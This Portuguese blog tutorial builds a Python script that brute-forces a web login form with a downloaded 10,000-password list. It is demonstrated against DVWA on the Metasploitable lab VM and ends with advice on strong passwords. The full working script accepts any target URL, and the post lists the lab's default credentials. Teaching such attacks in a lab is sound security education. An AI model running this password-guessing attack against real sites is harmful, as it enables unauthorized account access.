A segurança online tornou-se uma prioridade crítica, especialmente à medida que a tecnologia avança. Sites e aplicativos da web estão constantemente sob ameaça de ataques cibernéticos, tornando essencial para os desenvolvedores e administradores de sistemas garantir a robustez de suas defesas. Neste artigo, exploraremos uma abordagem prática para teste de vulnerabilidade de sites usando Python.
Conteúdo
O que é Teste de Vulnerabilidade?
O teste de vulnerabilidade desempenha um papel crucial ao identificar e corrigir fragilidades em sistemas antes de se tornarem alvos de ataques. Essa prática é essencial para fortalecer a segurança do seu site, sistema e banco de dados, garantindo a proteção de informações sensíveis. Ao realizar esses testes de forma proativa, você não apenas mitigará possíveis ameaças, mas também manterá a confiança dos usuários em relação à integridade e segurança dos seus sistemas digitais.
⚠ Aviso Importante: Teste de Vulnerabilidade para Fins Educativos!
Este blog irá fornecer um exemplo de script para teste de vulnerabilidade de sites com o objetivo exclusivo de fins acadêmicos e educacionais. O intuito é promover a compreensão das práticas de segurança cibernética, incentivar o aprendizado e aumentar a conscientização sobre possíveis ameaças online.
É crucial ressaltar que o uso indevido das informações apresentadas neste blog, especialmente para práticas maliciosas ou acesso não autorizado a sites de terceiros, é estritamente proibido e contra a ética. Qualquer atividade não autorizada em sistemas ou redes sem permissão explícita é ilegal e sujeita a penalidades legais.
Responsabilidade do Usuário
O leitor é inteiramente responsável por qualquer uso indevido das informações fornecidas. O blog e seus autores não endossam nem incentivam atividades ilegais, invasões de privacidade ou qualquer outra forma de comportamento prejudicial. O teste de vulnerabilidade deve ser realizado apenas em sistemas para os quais você tem permissão explícita e legal.
Isenção de Responsabilidade
O blog e seus autores não assumem responsabilidade por quaisquer consequências resultantes do uso indevido das informações fornecidas. Isso inclui, mas não se limita a, danos a sistemas, perda de dados, questões legais ou qualquer outra forma de responsabilidade. O leitor é incentivado a agir com ética e responsabilidade ao aplicar o conhecimento adquirido através deste blog.
Ambiente de desenvolvimento
Para esse experimento vamos utilizar uma máquina virtual chamada Metasploitable que é uma plataforma de teste de segurança projetada especificamente para facilitar o treinamento e a prática em testes de vulnerabilidade e exploração. Criada pela Metasploit, uma estrutura de código aberto usada para desenvolver, testar e executar exploits em sistemas, a Metasploitable é projetada para simular uma variedade de vulnerabilidades de segurança em um ambiente controlado. Clique aqui para fazer o download da maquina.
Principais características e uso da Metasploitable
- Propósito Educacional:
- A Metasploitable é desenvolvida principalmente para fins educacionais, permitindo que profissionais de segurança, estudantes e entusiastas pratiquem técnicas de teste de vulnerabilidade de maneira ética e controlada.
- Simulação de Vulnerabilidades:
- A máquina virtual é configurada com uma série de vulnerabilidades intencionais, como falhas de configuração, serviços desatualizados e configurações de segurança fracas. Isso cria um ambiente realista para testes de exploração e penetração.
- Variedade de Serviços:
- Oferece uma ampla gama de serviços vulneráveis, incluindo servidores web, bancos de dados, serviços de e-mail e outros aplicativos comumente encontrados em ambientes corporativos.
- Integração com Metasploit Framework:
- É projetada para funcionar em conjunto com o Metasploit Framework, uma ferramenta poderosa usada para desenvolver e executar exploits. Isso permite que os usuários pratiquem a identificação de vulnerabilidades e a execução de exploits de maneira segura.
- Experiência Prática:
- Ao interagir com a Metasploitable, os profissionais de segurança podem ganhar experiência prática na identificação, exploração e correção de vulnerabilidades. Isso é crucial para desenvolver habilidades e conhecimentos práticos no campo da segurança cibernética.
Uso Responsável
- É importante ressaltar que, assim como qualquer ferramenta de teste de segurança, o uso da Metasploitable deve ser feito de maneira ética e legal. Utilizar a máquina virtual em ambientes não autorizados ou para explorar sistemas sem permissão explícita é estritamente proibido.
Desenvolvimento do Teste de Vulnerabilidade
Agora que compreendemos a relevância do teste de vulnerabilidade e abordamos a responsabilidade associada ao uso inadequado, vamos agora detalhar os passos essenciais para criar o nosso script.
1. Identificar o IP da Maquina Virtual
Após a instalação e configuração da máquina virtual Metasploitable, o próximo passo consiste em identificar o endereço IP da máquina. Para alcançar esse objetivo, procederemos com o login na máquina utilizando as credenciais padrão de usuário e senha.
user : msfdamin
password: msfadmin
Ao acessar a máquina, utilize o comando ‘ip a’ para identificar o endereço IP da máquina virtual.
Observe que o endereço IP da minha máquina é 192.168.0.19/24. Entretanto, esse valor pode variar de acordo com a configuração de rede que você está utilizando. Portanto, não se preocupe se o seu endereço IP estiver em uma faixa diferente. Importante ressaltar que, para obter acesso direto, é necessário configurar as opções de rede como “bridged”. Clique aqui para acessar o tutorial para instalação da maquina Metasploitable.
2. Identificação da Página-Alvo para Teste de Vulnerabilidade
Agora que já identificamos o nosso endereço IP, o próximo passo é localizar a página na qual pretendemos submeter o script para realizar o teste de vulnerabilidade. Para isso, basta digitar o endereço IP no navegador de sua preferência e acessar a página DVWA.
3. Identificação do Formulário
Ao entrar na página DVWA, nosso próximo passo é encontrar os campos nos quais inseriremos os dados de usuário e senha para realizar o teste de vulnerabilidade. Em nossa análise, identificamos dois campos específicos: “Username” e “Password”.
4. Identificação de Tags HTML para Script de Teste de Vulnerabilidade
Para coletar as tags HTML de identificação do formulário, você pode seguir os passos abaixo:
- Inspecionar Elemento:
- Abra a página DVWA no seu navegador.
- Clique com o botão direito na área onde estão localizados os campos de “Username” e “Password”.
- Selecione a opção “Inspecionar” ou “Inspecionar Elemento” no menu de contexto.
- Identificação de Tags HTML:
- Na janela de inspeção, procure pela tag
<form>. Esta tag geralmente envolve todo o formulário. - Dentro da tag
<form>, localize os elementos<input>que representam os campos de “Username” e “Password”.
- Na janela de inspeção, procure pela tag
- Atributos de Identificação:
- Verifique os atributos dos elementos
<input>para identificar marcadores únicos, comoidouname. Esses atributos são frequentemente usados para referenciar os campos em scripts ou códigos.
- Verifique os atributos dos elementos
Neste experimento, conseguimos mapear as seguintes informações cruciais:
Formulário = form action="login.php" method="post"
user= <input type="text" class="loginInput" size="20" name="username">
senha = <input type="password" class="loginInput" autocomplete="off" size="20" name="password">
Esses dados são de extrema utilidade, pois servirão como a chave de acesso essencial na criação do nosso script. A identificação precisa das tags e de seus nomes é de suma importância para o sucesso da empreitada.
5. Criação do Script de Teste de Vulnerabilidade
Agora que identificamos a página-alvo e coletamos todos os dados necessários para o teste, é hora de iniciar efetivamente o desenvolvimento do nosso script em Python.
Passo 1: Instalando a biblioteca MechanicalSoup
A biblioteca Python chamada MechanicalSoup é uma ferramenta poderosa para automatizar a interação com páginas da web. Ela combina funcionalidades de duas outras bibliotecas populares, BeautifulSoup e Requests, facilitando assim a extração de dados e a realização de ações em páginas da web de forma programática. Para saber como instalar e importar uma biblioteca em python clique aqui.
import mechanicalsoup
Passo 2: Informar usuário e página alvo
Existem várias maneiras de fornecer os dados. Por exemplo, podemos realizar atribuições diretamente:
site = 'http://192.168.0.19/dvwa/login.php'
user = 'admin'
Alternativamente, podemos solicitar ao usuário que insira manualmente:
user = input("Digite o nome de usuário: ")
site = input("Informe o site: ")
Essas opções oferecem flexibilidade, permitindo que os dados sejam fornecidos de maneira fixa ou interativa, conforme necessário.
Passo 3: Coletando Lista de Passwords
Agora, no terceiro passo, vamos criar uma lista de senhas que será utilizada durante o teste de vulnerabilidade. A proposta é verificar se alguma senha dessa lista foi empregada com sucesso no formulário da página-alvo. Este processo é crucial para avaliar a segurança do sistema em relação a diferentes combinações de senhas.
Para este experimento, optaremos por duas listas de senhas: fasttrack.txt e 10-million-password-list-top-10000.txt. O conteúdo dessas listas está disponível nos botões. É essencial destacar que essas listas foram obtidas na internet, e cabe ao usuário decidir qual delas deseja utilizar no teste de vulnerabilidade.
Passo 4: Incorporação de Senhas no Script
Após baixar o arquivo txt, o próximo passo consiste em incorporar o conteúdo do arquivo diretamente à estrutura do script. Utilizaremos o seguinte código para isso:
caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt'
with open(caminho_arquivo, 'r') as arquivo:
# Lê as linhas do arquivo
lista_passwords = arquivo.readlines()
Este código em Python realiza a leitura de um arquivo de texto que contém senhas.
caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt': Define o caminho do arquivo de senhas.with open(caminho_arquivo, 'r') as arquivo:: Abre o arquivo em modo de leitura ('r'). O uso dewithgarante o fechamento automático do arquivo após a leitura.lista_passwords = arquivo.readlines(): Lê todas as linhas do arquivo e armazena em uma lista chamadalista_passwords. Cada elemento da lista corresponde a uma linha do arquivo.
É importante notar que o caminho do arquivo pode variar de acordo com a sua configuração específica. Certifique-se de ajustar o caminho conforme necessário para refletir o local exato do arquivo em seu sistema.
Dentro do projeto, há três pastas distintas: Config, datasets e src. A pasta Config contém configurações e instruções para a execução do script. A pasta datasets abriga os arquivos .txt necessários, enquanto src guarda os scripts do projeto, incluindo um arquivo .py e um arquivo .ipynb (Jupyter Notebook).
O Jupyter Notebook é uma ferramenta de código aberto para criar documentos interativos que combinam código, visualizações e texto. Amplamente utilizado em ciência de dados e aprendizado de máquina, fornece um ambiente flexível para explorar e comunicar resultados de forma interativa.
Passo 5: Acessando Página Alvo
Agora, com as senhas carregadas, é hora de navegar até a página-alvo. Utilizaremos a biblioteca MechanicalSoup para facilitar essa interação. Veja o código abaixo:
browser = mechanicalsoup.StatefulBrowser()
browser.open(site)
Esse trecho cria uma instância de um navegador do MechanicalSoup e o utiliza para abrir a página definida pela variável site. Essa etapa prepara o terreno para a submissão automatizada das senhas no formulário da página-alvo.
Passo 6: Registro de Credenciais em Arquivo
Nesta etapa, implementamos uma função que registra as credenciais que obtiveram sucesso durante o teste.
def gera_arquivo(user, password):
# Define o nome do arquivo
nome_arquivo = '../datasets/credenciais.txt'
# Abre o arquivo para escrita usando 'with open'
with open(nome_arquivo, 'w') as arquivo:
# Escreve as variáveis no arquivo
arquivo.write(f'user: {user}\n')
arquivo.write(f'key: {password}\n')
print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'.")
Essa função chamada gera_arquivo tem como objetivo criar um arquivo de texto (.txt) para armazenar o usuário e a senha que obtiveram sucesso durante o teste de vulnerabilidade.
- Definição do Nome do Arquivo:
nome_arquivo = '../datasets/credenciais.txt': Define o nome e o local do arquivo onde as credenciais serão armazenadas.
- Abertura do Arquivo:
with open(nome_arquivo, 'w') as arquivo:: Abre o arquivo em modo de escrita (‘w’) usando a estruturawith open, garantindo o fechamento automático após a escrita.
- Escrita no Arquivo:
arquivo.write(f'user: {user}\n')earquivo.write(f'key: {password}\n'): Escreve as variáveisuserepasswordno arquivo, formatadas para facilitar a leitura.
- Mensagem de Confirmação:
print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'."): Imprime uma mensagem indicando que as credenciais foram salvas com sucesso no arquivo especificado.
Passo 7: Detecção de Vulnerabilidades
Nesta fase crítica do experimento, iniciamos a busca por vulnerabilidades. A função busca_vulnerabilidade desempenha um papel fundamental, interagindo com o formulário de login da página-alvo e testando cada senha da lista previamente carregada.
def busca_vulnerabilidade():
num_password = 0
for password in lista_passwords:
num_password += 1
browser.select_form('form[action="login.php"]')
browser['username'] = user
browser['password'] = password.strip()
browser.submit_selected()
resposta_site = browser.get_url()
if (resposta_site != site):
print(f'''
--------------------------------------------------------------------
Foi encontrado a vulnerabilidade no site: {resposta_site}
Usuário com vulnerabilidade: {user}
Senha: {password}
--------------------------------------------------------------------
'''
)
gera_arquivo(user, password)
break
else:
print(f'''
Acessando: {resposta_site}
Password: {num_password} - Testando senha: {password}''')
Essa função desempenha um papel crucial na detecção de vulnerabilidades, alertando sobre possíveis falhas na segurança do site.
- Inicialização e Contador:
num_password = 0: Inicia um contador para rastrear o número de senhas testadas.
- Loop de Senhas:
- Itera sobre cada senha na lista previamente carregada.
- Interage com o Formulário:
browser.select_form('form[action="login.php"]'): Seleciona o formulário de login da página-alvo.
- Submissão de Senha:
browser['username']ebrowser['password']: Preenche o formulário com o usuário (user) e a senha atual do loop.browser.submit_selected(): Submete o formulário.
- Análise da Resposta:
resposta_site = browser.get_url(): Obtém a URL após a submissão do formulário.
- Detecção de Vulnerabilidade:
- Compara a URL atual com a URL da página-alvo.
- Se diferentes, indica uma vulnerabilidade e imprime os detalhes, salvando as credenciais no arquivo. O teste é interrompido.
- Caso contrário, exibe informações sobre o teste em andamento.
Executando Teste de Vulnerabilidade
Agora que você entendeu completamente a estrutura e o funcionamento do script de teste de vulnerabilidade, basta chamar a função para realizar o teste no site. Para isso, abra o terminal, acesse a pasta onde você produziu o código e execute o seguinte comando:
python teste_vulnerabilidade.py
ou
py teste_vulnerabilidade.py
Insira o código do usuário e defina a página alvo para ver a ‘mágica’ acontecer.
Ao final, você terá o arquivo gerado com as credenciais encontradas, incluindo a senha vulnerável.
Feito! Você implementou com sucesso um teste de vulnerabilidade! ⭐⭐⭐
O script completo você encontra abaixo:
import mechanicalsoup
user = input("Digite o nome de usuário: ")
site = input("Informe o site: ")
browser = mechanicalsoup.StatefulBrowser()
browser.open(site)
caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt'
with open(caminho_arquivo, 'r') as arquivo:
# Lê as linhas do arquivo
lista_passwords = arquivo.readlines()
def gera_arquivo(user, password):
# Define o nome do arquivo
nome_arquivo = '../datasets/credenciais.txt'
# Abre o arquivo para escrita usando 'with open'
with open(nome_arquivo, 'w') as arquivo:
# Escreve as variáveis no arquivo
arquivo.write(f'user: {user}\n')
arquivo.write(f'key: {password}\n')
print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'.")
def busca_vulnerabilidade():
num_password = 0
for password in lista_passwords:
num_password += 1
browser.select_form('form[action="login.php"]')
browser['username'] = user
browser['password'] = password.strip()
browser.submit_selected()
resposta_site = browser.get_url()
if (resposta_site != site):
print(f'''
--------------------------------------------------------------------
Foi encontrado a vulnerabilidade no site: {resposta_site}
Usuário com vulnerabilidade: {user}
Senha: {password}
--------------------------------------------------------------------
'''
)
gera_arquivo(user, password)
break
else:
print(f'''
Acessando: {resposta_site}
Password: {num_password} - Testando senha: {password}''')
busca_vulnerabilidade()
A Importância de Senhas de Segurança Robustas
Conforme observamos neste experimento, a quebra da senha foi surpreendentemente simples. Este cenário destaca a importância vital de reconhecer e valorizar a criação e manutenção de senhas de segurança robustas. Senhas sólidas desempenham um papel fundamental como a primeira linha de defesa contra ameaças cibernéticas e intrusões não autorizadas. É crucial refletir sobre a necessidade de fortalecer nossa segurança online por meio de práticas eficazes de gerenciamento de senhas.
Clique aqui para ler mais sobre a importância de senhas seguras e estratégias para criá-las.
Conclusão
Ao longo deste artigo, exploramos a criação de um script em Python para testar vulnerabilidades em sites, destacando a importância de fins educativos e acadêmicos. Cada passo, desde a identificação da página-alvo até a detecção de possíveis vulnerabilidades, foi abordado de forma a promover a compreensão das práticas de segurança cibernética.
É crucial ressaltar que as informações compartilhadas e os scripts desenvolvidos têm como único propósito educacional. O objetivo é fornecer insights sobre a importância da segurança online, incentivando o aprendizado e a conscientização.
Alertamos veementemente contra o uso indevido desses conhecimentos para práticas maliciosas ou acesso não autorizado a sistemas. O desenvolvimento e aplicação de scripts de teste de vulnerabilidade devem ocorrer apenas em ambientes controlados e com permissão explícita. O uso inadequado dessas técnicas é ilegal e sujeito a penalidades legais.
Em um mundo digital cada vez mais interconectado, a segurança cibernética é uma responsabilidade compartilhada. Encorajamos todos a buscar conhecimento ético, promovendo práticas seguras e contribuindo para um ambiente online mais protegido.
Lembre-se: conhecimento é poder, e com esse poder vem a responsabilidade de utilizá-lo para o bem. A segurança cibernética é uma busca constante pela proteção, e nossa contribuição deve ser sempre guiada pela ética e pelo respeito à integridade digital.
Agradeço por seguir este post até o final. Espero que o conteúdo tenha sido simples, claro e objetivo para todos. Não hesite em compartilhar e deixar seu comentário – gostaria de saber se tudo ficou compreensível e se você conseguiu replicar.
Um grande abraço